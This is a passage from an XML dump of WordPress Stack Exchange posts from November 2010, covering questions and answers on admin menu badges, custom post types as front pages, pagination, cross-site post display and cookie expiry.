CommentCount="3" />
  <row Id="3920" PostTypeId="1" AcceptedAnswerId="3933" CreationDate="2010-11-11T02:56:40.227" Score="1" ViewCount="240" Body="&lt;p&gt;Hey,&#xA;I've been trying to get a pending count to appear on the admin sidebar, for pending posts, like the little bubble that appears for pending comments:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/XKhzj.jpg&quot; alt=&quot;Comments pending bubble&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Offtopic&lt;/em&gt;: Am I the only one that thinks this should be core behaviour? Where should I suggest this feature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyhow, I found &lt;a href=&quot;http://wordpress.org/extend/plugins/pending-posts-indicator/&quot; rel=&quot;nofollow&quot;&gt;this plugin&lt;/a&gt;, but I noticed it didn't always worked. Sometimes the notifier appears on Pages or other item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code it uses to add the pending count goes something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu[5][0] .= &quot; &amp;lt;span class='update-plugins count-$pending_count'&amp;gt;&amp;lt;span class='plugin-count'&amp;gt;&quot; . number_format_i18n($pending_count) . '&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, clearly the problem is the hard-coded 5 there, but how can I update it so it always points to Posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll be glad to commit this change to the plugin if we know the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="33" LastEditorDisplayName="" LastEditDate="2010-11-11T03:07:36.843" LastActivityDate="2010-11-11T19:08:01.037" Title="Modifying admin sidebar contents to show pending posts indicator" Tags="&lt;posts&gt;&lt;admin&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" />
  <row Id="3922" PostTypeId="2" ParentId="3885" CreationDate="2010-11-11T03:16:31.957" Score="0" ViewCount="" Body="&lt;p&gt;Someone has just answered the question for me on the wordpress forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out that there was 5px of padding in the gallerys css file (line 301) that I hadn't found:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.ngg-widget, .ngg-widget-slideshow {&#xA;margin:0;&#xA;overflow:hidden;&#xA;padding:5px 0 0 0; &amp;lt;--- change this to 0 0 0 0 or just 0&#xA;text-align:left&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't add this, so it seems like the css have been like this in the first place. So if anyone else has this problem in the future just change that 5 to a 0.&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2010-11-11T03:16:31.957" />
  <row Id="3923" PostTypeId="1" CreationDate="2010-11-11T08:05:11.190" Score="0" ViewCount="98" Body="&lt;p&gt;I have a form that will be re-used in different posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have php code that will be reused to populate the form with the value in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use php shortcode and wp php exec, but it doesn't appear to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   value = &quot;[exec]echo htmlentities($_GET['source'])[/exec]&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I basically want a simple, reusable way to grab parameters and have it as the value in a hidden field on a form.&lt;/p&gt;&#xA;" OwnerUserId="1544" LastActivityDate="2010-11-11T16:10:40.153" Title="How can I reuse the code to capture a param in a URL and place in a value in a hidden form?" Tags="&lt;php&gt;&lt;forms&gt;" AnswerCount="1" />
  <row Id="3924" PostTypeId="1" CreationDate="2010-11-11T08:48:30.263" Score="1" ViewCount="779" Body="&lt;p&gt;As the title suggests, If you had to synchronize WordPress user accounts across multiple domains and installations without using WordPress MU how would you do it?&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2010-11-12T10:40:01.613" Title="Synchronize WordPress user accounts across multiple domains and installations without using WordPress MU" Tags="&lt;login&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" />
  <row Id="3925" PostTypeId="2" ParentId="3924" CreationDate="2010-11-11T09:20:33.070" Score="0" ViewCount="" Body="&lt;p&gt;Are they on the same webserver/mysqlserver?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they share the same mysqlserver you can hook in the registration and add the user in more then one database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could create a file that includes a user via $_POST/$_GET, be sure it's protected with a token or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thats what I would try to do.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2010-11-11T09:20:33.070" CommentCount="2" />
  <row Id="3926" PostTypeId="1" AcceptedAnswerId="3935" CreationDate="2010-11-11T09:29:00.137" Score="1" ViewCount="346" Body="&lt;p&gt;I would like to take the titles of recent posts or content related posts from one website and display them in the widget area of another website. I'm sure there must be a way to do this, perhaps some adaptation to the standard 'recent posts' widget?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did something similar before using an rss feed from one site and displaying their titles in a module on another. However this was in a non-wordpress site and I am not quite sure how to achieve the same result here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would like to do it without using an rss feed and also be able to control specifically which posts are shown, perhaps being able to define them manually or by other criteria than just 'recent'.&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2010-11-11T15:22:27.437" Title="Is there plugin to show recent posts from one website in the widget area of another?" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;posts&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="3927" PostTypeId="1" AcceptedAnswerId="4491" CreationDate="2010-11-11T12:23:59.347" Score="2" ViewCount="332" Body="&lt;p&gt;I have created a custom post type and added some custom metaboxes to the page edit screen. My objective was to provide specific metaboxes which a user can edit which in turn would allow a user to modify specific content areas of a websites homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything described above works perfectly except that I seem to be unable to set the page created from this custom post type as the &quot;static page&quot; within the wordpress admin &quot;settings&quot; area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems the dropdown which lets your select a static page only shows pages located within the default wordpress &quot;page&quot; post_type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I be able to change these settings to achieve my goal?&lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-21T18:52:28.877" LastActivityDate="2011-05-21T18:52:28.877" Title="How to add a post from a custom post type as the static page?" Tags="&lt;custom-post-types&gt;&lt;settings&gt;&lt;page-specific-settings&gt;&lt;static-website&gt;&lt;static&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="1" />
  <row Id="3928" PostTypeId="2" ParentId="1567" CreationDate="2010-11-11T12:57:07.103" Score="4" ViewCount="" Body="&lt;h2&gt;Extending Auto Logout Period&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the code below you can increase the time cookies are kept and therefor users who are logged in remain logged in longer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function keep_me_logged_in_for_1_year( $expirein ) {&#xA;   return 31556926; // 1 year in seconds&#xA;}&#xA;add_filter( 'auth_cookie_expiration', 'keep_me_logged_in_for_1_year' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:31:34.543" LastActivityDate="2011-01-26T14:31:34.543" CommunityOwnedDate="2010-11-11T12:57:07.103" CommentCount="1" />
  <row Id="3929" PostTypeId="2" ParentId="3927" CreationDate="2010-11-11T13:12:07.323" Score="3" ViewCount="" Body="&lt;p&gt;Add a filter for &lt;code&gt;'wp_dropdown_pages'&lt;/code&gt;. If &lt;code&gt;'name' =&amp;gt; 'page_on_front'&lt;/code&gt;, fill the list with your custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a very primitive example as plugin. I took the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;custom post type from the codex&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Custom Post Type as Front Page&#xA;Description: Adds your custom post type to the list of available front pages.&#xA;Version:     0.1&#xA;Author:      Thomas Scholz&#xA;Author URI:  http://toscho.de&#xA;License:     GPL v2&#xA;*/&#xA;&#xA;add_action('init', 'my_custom_init');&#xA;function my_custom_init()&#xA;{&#xA;    $labels = array(&#xA;    'name' =&amp;gt; _x('Books', 'post type general name'),&#xA;    'singular_name' =&amp;gt; _x('Book', 'post type singular name'),&#xA;    'add_new' =&amp;gt; _x('Add New', 'book'),&#xA;    'add_new_item' =&amp;gt; __('Add New Book'),&#xA;    'edit_item' =&amp;gt; __('Edit Book'),&#xA;    'new_item' =&amp;gt; __('New Book'),&#xA;    'view_item' =&amp;gt; __('View Book'),&#xA;    'search_items' =&amp;gt; __('Search Books'),&#xA;    'not_found' =&amp;gt;  __('No books found'),&#xA;    'not_found_in_trash' =&amp;gt; __('No books found in Trash'),&#xA;    'parent_item_colon' =&amp;gt; ''&#xA;    );&#xA;    $args = array(&#xA;    'labels' =&amp;gt; $labels,&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; true,&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'menu_position' =&amp;gt; null,&#xA;    'supports' =&amp;gt; array('title','editor','author','thumbnail','excerpt','comments')&#xA;    );&#xA;    register_post_type('book',$args);&#xA;}&#xA;&#xA;//add filter to insure the text Book, or book, is displayed when user updates a book&#xA;add_filter('post_updated_messages', 'book_updated_messages');&#xA;function book_updated_messages( $messages ) {&#xA;    global $post, $post_ID;&#xA;&#xA;    $messages['book'] = array(&#xA;    0 =&amp;gt; '', // Unused. Messages start at index 1.&#xA;    1 =&amp;gt; sprintf( __('Book updated. &amp;lt;a href=&quot;%s&quot;&amp;gt;View book&amp;lt;/a&amp;gt;'), esc_url( get_permalink($post_ID) ) ),&#xA;    2 =&amp;gt; __('Custom field updated.'),&#xA;    3 =&amp;gt; __('Custom field deleted.'),&#xA;    4 =&amp;gt; __('Book updated.'),&#xA;    /* translators: %s: date and time of the revision */&#xA;    5 =&amp;gt; isset($_GET['revision']) ? sprintf( __('Book restored to revision from %s'), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false,&#xA;    6 =&amp;gt; sprintf( __('Book published. &amp;lt;a href=&quot;%s&quot;&amp;gt;View book&amp;lt;/a&amp;gt;'), esc_url( get_permalink($post_ID) ) ),&#xA;    7 =&amp;gt; __('Book saved.'),&#xA;    8 =&amp;gt; sprintf( __('Book submitted. &amp;lt;a target=&quot;_blank&quot; href=&quot;%s&quot;&amp;gt;Preview book&amp;lt;/a&amp;gt;'), esc_url( add_query_arg( 'preview', 'true', get_permalink($post_ID) ) ) ),&#xA;    9 =&amp;gt; sprintf( __('Book scheduled for: &amp;lt;strong&amp;gt;%1$s&amp;lt;/strong&amp;gt;. &amp;lt;a target=&quot;_blank&quot; href=&quot;%2$s&quot;&amp;gt;Preview book&amp;lt;/a&amp;gt;'),&#xA;    // translators: Publish box date format, see http://php.net/date&#xA;    date_i18n( __( 'M j, Y @ G:i' ), strtotime( $post-&amp;gt;post_date ) ), esc_url( get_permalink($post_ID) ) ),&#xA;    10 =&amp;gt; sprintf( __('Book draft updated. &amp;lt;a target=&quot;_blank&quot; href=&quot;%s&quot;&amp;gt;Preview book&amp;lt;/a&amp;gt;'), esc_url( add_query_arg( 'preview', 'true', get_permalink($post_ID) ) ) ),&#xA;    );&#xA;&#xA;    return $messages;&#xA;}&#xA;&#xA;// Here we go!&#xA;add_filter('wp_dropdown_pages', 'add_book_page_to_dropdown', 10, 1);&#xA;&#xA;function add_book_page_to_dropdown( $select )&#xA;{&#xA;    // Not our list.&#xA;    if ( FALSE === strpos( $select, '&amp;lt;select name=&quot;page_on_front&quot;' ) )&#xA;    {&#xA;        return $select;&#xA;    }&#xA;&#xA;    $books = get_posts( array( 'post_type' =&amp;gt; 'book' ) );&#xA;&#xA;    if ( ! $books ) // no books found.&#xA;    {&#xA;        return $select;&#xA;    }&#xA;&#xA;    $book_options = walk_page_dropdown_tree($books, 0,&#xA;         array(&#xA;            'depth' =&amp;gt; 0&#xA;         ,  'child_of' =&amp;gt; 0&#xA;         ,  'selected' =&amp;gt; 0&#xA;         ,  'echo' =&amp;gt; 0&#xA;         ,  'name' =&amp;gt; 'page_on_front'&#xA;         ,  'id' =&amp;gt; ''&#xA;         ,  'show_option_none' =&amp;gt; ''&#xA;         ,  'show_option_no_change' =&amp;gt; ''&#xA;         ,  'option_none_value' =&amp;gt; ''&#xA;        )&#xA;    );&#xA;&#xA;    return str_replace( '&amp;lt;/select&amp;gt;', $book_options . '&amp;lt;/select&amp;gt;', $select );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Activate, write a &lt;strong&gt;book&lt;/strong&gt; page, go to &lt;strong&gt;Reading Settings&lt;/strong&gt;, and choose that page as frontpage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/aLJcU.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hit &lt;strong&gt;Save Changes&lt;/strong&gt;. Smile.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2010-11-11T15:36:33.213" LastActivityDate="2010-11-11T15:36:33.213" CommentCount="7" />
  <row Id="3930" PostTypeId="2" ParentId="3876" CreationDate="2010-11-11T13:39:24.737" Score="0" ViewCount="" Body="&lt;p&gt;For each of the pages you'd have to make widget content areas and then populate each with content area from these. So if you had a services page, you might set up a page with &quot;About our services... [blah]&quot; as the main content that shows up from the loop. To then get stuff into columns below it you could add a widget area with html widgets. It requires setting up a page template for each of these pages, but if you don't expect the pages to change structure very often, this is probably the most user-proof.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other, easier way is, if the people you're working with can handle simple shortcodes ie. [col1]content[/col1], [col2]content[/col2], [col3_last]content[/col3_last], just use those and tell them to edit between the shortcodes. Check out some of the popular themes on Themeforest for their extensive formatting and column shortcodes.&lt;/p&gt;&#xA;" OwnerUserId="1340" LastActivityDate="2010-11-11T13:39:24.737" CommentCount="1" />
  <row Id="3931" PostTypeId="1" AcceptedAnswerId="4477" CreationDate="2010-11-11T13:39:47.623" Score="0" ViewCount="499" Body="&lt;p&gt;My &lt;code&gt;category.php&lt;/code&gt; lists articles on the first page, and on the bottom I have a pager.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click page 2, the index.php page is loaded and the url looks like this: &lt;code&gt;http://&#xA;www.mysite.com/some-category/page/2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why isn't category.php page loaded when URL has &lt;code&gt;/page/2/&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My permalink structure looks like this: &lt;code&gt;/%category%/%postname%/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it helps to see the code, here it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: Article List - Category&#xA; *&#xA; * Displays articles from magazine&#xA; *&#xA; * @package WordPress&#xA; * @subpackage Norwegian_Fashion&#xA; * @since Norwegian Fashion 1.0&#xA; */&#xA;&#xA;  get_header(); &#xA;&#xA;  // Get current page. Is used for pagination.&#xA;  $page = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;&#xA;?&amp;gt;&#xA;  &amp;lt;div id=&quot;mainArea&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;articleList&quot;&amp;gt;&#xA;      &amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;          &amp;lt;li&amp;gt;&#xA;            &amp;lt;div class=&quot;photo&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt; &amp;lt;?php the_related_image_scaled('h=180') ?&amp;gt; &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;info&quot;&amp;gt;&#xA;              &amp;lt;span class=&quot;date&quot;&amp;gt;&amp;lt;?php the_date(); ?&amp;gt;&amp;lt;/span&amp;gt; | by &amp;lt;span class=&quot;byline&quot;&amp;gt;&amp;lt;?php the_custom_author(); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;              &amp;lt;header&amp;gt; &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&amp;lt;/header&amp;gt; &#xA;              &amp;lt;div class=&quot;intro&quot;&amp;gt;&amp;lt;?php the_intro('num_words=25'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;              &amp;lt;div id=&quot;post_metadata&quot;&amp;gt;  &#xA;                &amp;lt;div class=&quot;keywords&quot;&amp;gt; &amp;lt;?php the_tags('Keywords: ', ','); ?&amp;gt; &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;              &amp;lt;div class=&quot;commentsCount&quot;&amp;gt;&amp;lt;?php comments_number('no comments','1 comment','% comments'); ?&amp;gt;&amp;lt;/div&amp;gt;       &#xA;            &amp;lt;/div&amp;gt;      &#xA;          &amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;      &amp;lt;/ul&amp;gt;&#xA;      &amp;lt;?php  &#xA;        if(function_exists('wp_pagenavi')) &#xA;        { wp_pagenavi(); } ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;aside&amp;gt;&#xA;    &amp;lt;div id=&quot;sidebar&quot;&amp;gt;&#xA;      &amp;lt;ul&amp;gt;  &#xA;        &amp;lt;?php //dynamic_sidebar( 'frontpage' ); ?&amp;gt;&#xA;      &amp;lt;/ul&amp;gt;  &#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/aside&amp;gt;&#xA;  &amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1447" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-12T00:46:00.543" LastActivityDate="2010-11-24T09:43:34.657" Title="Having problems with paging" Tags="&lt;categories&gt;&lt;pagination&gt;" AnswerCount="3" CommentCount="8" />
  <row Id="3932" PostTypeId="2" ParentId="2764" CreationDate="2010-11-11T13:54:51.710" Score="0" ViewCount="" Body="&lt;p&gt;Im pretty sure that in the dashboard it notifies you when someone comments etc... &lt;/p&gt;&#xA;" LastActivityDate="2010-11-11T13:54:51.710" />
  <row Id="3933" PostTypeId="2" ParentId="3920" CreationDate="2010-11-11T15:05:41.047" Score="4" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@ign&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace the line of code you posted with the following..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach( $menu as $menu_key =&amp;gt; $menu_data ) :&#xA;    if( 'edit.php' != $menu_data[2] )&#xA;        continue;&#xA;    $menu[$menu_key][0] .= &quot; &amp;lt;span class='update-plugins count-$pending_count'&amp;gt;&amp;lt;span class='plugin-count'&amp;gt;&quot; . number_format_i18n($pending_count) . '&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;';&#xA;endforeach;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..that &lt;strong&gt;should&lt;/strong&gt; avoid the need to know the specific key.. (let me know if any problems)..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-11T15:05:41.047" CommentCount="2" />
  <row Id="3934" PostTypeId="2" ParentId="3331" CreationDate="2010-11-11T15:11:34.687" Score="1" ViewCount="" Body="&lt;p&gt;This one is ok...&lt;a href=&quot;http://wordpress.org/extend/plugins/leaguemanager/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/leaguemanager/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1550" LastActivityDate="2010-11-11T15:11:34.687" />
  <row Id="3935" PostTypeId="2" ParentId="3926" CreationDate="2010-11-11T15:22:27.437" Score="5" ViewCount="" Body="&lt;p&gt;There are three ways you can accomplish this: two are very code intensive, the other is already built-in.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;RSS&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Hand's down, the easiest way to do what you want to do is with an RSS widget.  WordPress already has an RSS widget built-in to core, so all you need to do is specify the feed and voila!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The widget displays the title by default, but you can also add the post's content, author, and publication date.  Tweaking the front-end display to fit your layout is left up to CSS, just like any other widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method doesn't require you to have access to the other site at all and (other than styling the CSS) doesn't require any coding whatsoever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/yRqGg.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Custom Code&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you have direct database access (which you say yo do), you can add a script to the one site that loads content from the other.  You can do this one of two ways: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Include the WordPress bootstrap file (&lt;code&gt;wp-blog-header.php&lt;/code&gt;) and load up WordPress within the second site.  Then you can use the standard WordPress query functions to retrieve posts and do with them whatever you want.&lt;/li&gt;&#xA;&lt;li&gt;Use direct database queries to quickly pull information out of the database.  You're looking at the &lt;code&gt;wp_posts&lt;/code&gt; table for anything with &lt;code&gt;post_type=post&lt;/code&gt; and &lt;code&gt;post_status=publish&lt;/code&gt;.  Just get the title and content, then do whatever you need to do.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I actually used this method on a client site.  They had an existing PHP/MySQL-driven home page and wanted to add links to an external WordPress blog.  If you go to &lt;a href=&quot;http://lueckenhausen.com/&quot; rel=&quot;nofollow&quot;&gt;their site&lt;/a&gt;, you'll see a list of blog posts on the front page - the front page is generated by a proprietary CMS that queries the WordPress database to find, parse, and display a list of recent posts.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;XML-RPC&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;WordPress has a fantastic XML Remote Procedure Call system built-in to core.  This system allows for external applications (desktop applications, iPhone apps, other websites) to remotely interact with WordPress by sending and receiving XML-formatted messages.  There's even an XML-RPC method that does exactly what you want: &lt;code&gt;metaWeblog.getRecentPosts&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, turn XML-RPC 'on' for the site you want to request posts from.  Then send a &lt;code&gt;metaWeblog.getRecentPosts&lt;/code&gt; request to &lt;code&gt;http://yoursite.com/xmlrpc.php&lt;/code&gt; that specifies the following parameters:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ID of the blog you’re working with (usually 0 for a single site)&lt;/li&gt;&#xA;&lt;li&gt;WordPress username&lt;/li&gt;&#xA;&lt;li&gt;WordPress password&lt;/li&gt;&#xA;&lt;li&gt;Number of posts you want to return&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;WordPress will log you in, run a query to fetch the posts, and return an XML object containing a list of recent posts (as many as you specified) that each contain the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;dateCreated&lt;/strong&gt; - Post publication date&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;userid&lt;/strong&gt; – ID of the post author&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;postid&lt;/strong&gt; – ID of the post itself&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;description&lt;/strong&gt; – Post content&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;title&lt;/strong&gt; – Post title&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;link&lt;/strong&gt; – Post permalink&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;permaLink&lt;/strong&gt; – Post permalink&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;categories&lt;/strong&gt; – Array of post categories&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;mt_excerpt&lt;/strong&gt; – Post excerpt&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;mt_text_more&lt;/strong&gt; – Read More text&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;mt_allow_comments&lt;/strong&gt; – Whether comments are open or closed&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;mt_allow_pings&lt;/strong&gt; – Whether pings are open or closed&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;mt_keywords&lt;/strong&gt; – Array of post tags&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;wp_slug&lt;/strong&gt; – Post slug&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;wp_password&lt;/strong&gt; – Post password&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;wp_author_id&lt;/strong&gt; – ID of the post author&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;wp_author_display_name&lt;/strong&gt; – Display name of the post author&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;date_created_gmt&lt;/strong&gt; – Post publication date (as GMT time)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;post_status&lt;/strong&gt; – Post publication status&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;custom_fields&lt;/strong&gt; – Array of custom fields&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;sticky&lt;/strong&gt; – Whether or not the post is marked as &quot;sticky&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I wrote &lt;a href=&quot;http://mindsharestrategy.com/wp-xmlrpc-metaweblog/&quot; rel=&quot;nofollow&quot;&gt;a tutorial specific to the MetaWeblog API&lt;/a&gt; (which is implemented by WordPress) some time ago.  I've also written &lt;a href=&quot;http://mindsharestrategy.com/wpxmlrpc-using-the-api/&quot; rel=&quot;nofollow&quot;&gt;one that explains how to use the XML-RPC API&lt;/a&gt; from within WordPress to make calls to an external WordPress system.  That might help to get you started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to fetch a specific post rather than just &quot;recent&quot; posts, there's a method call for that, too.  Just call &lt;code&gt;metaWeblog.getPost&lt;/code&gt; and specify the ID of the post you want and your WordPress username and password.  This method will return a single post as an XML object containing the same data as I listed above.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-11T15:22:27.437" CommentCount="4" />
  <row Id="3936" PostTypeId="2" ParentId="3017" CreationDate="2010-11-11T15:36:45.437" Score="0" ViewCount="" Body="&lt;p&gt;This was a pretty decent plugin for displaying a flexible list of pages last time i tried it(no need for it myself)..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/flexi-pages-widget/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/flexi-pages-widget/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anything, you should be able to look to that plugin for some ideas and inspiration on how to tackle it.. &lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-11T15:36:45.437" />
  <row Id="3938" PostTypeId="2" ParentId="3923" CreationDate="2010-11-11T16:10:40.153" Score="1" ViewCount="" Body="&lt;p&gt;eval() with insufficiently sanitized input is evil. :-)&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-11T16:10:40.153" CommentCount="1" />
  <row Id="3939" PostTypeId="2" ParentId="3017" CreationDate="2010-11-11T16:34:59.953" Score="0" ViewCount="" Body="&lt;p&gt;I actually had to do this once. You can do it without a plugin and without javascript. You might have to tweak it a little to work exactly as you need it but it should give you the right idea; displaying parent pages and their children etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the tutorial I used: &lt;a href=&quot;http://www.svennerberg.com/2009/02/creating-a-submenu-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.svennerberg.com/2009/02/creating-a-submenu-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2010-11-11T16:34:59.953" />
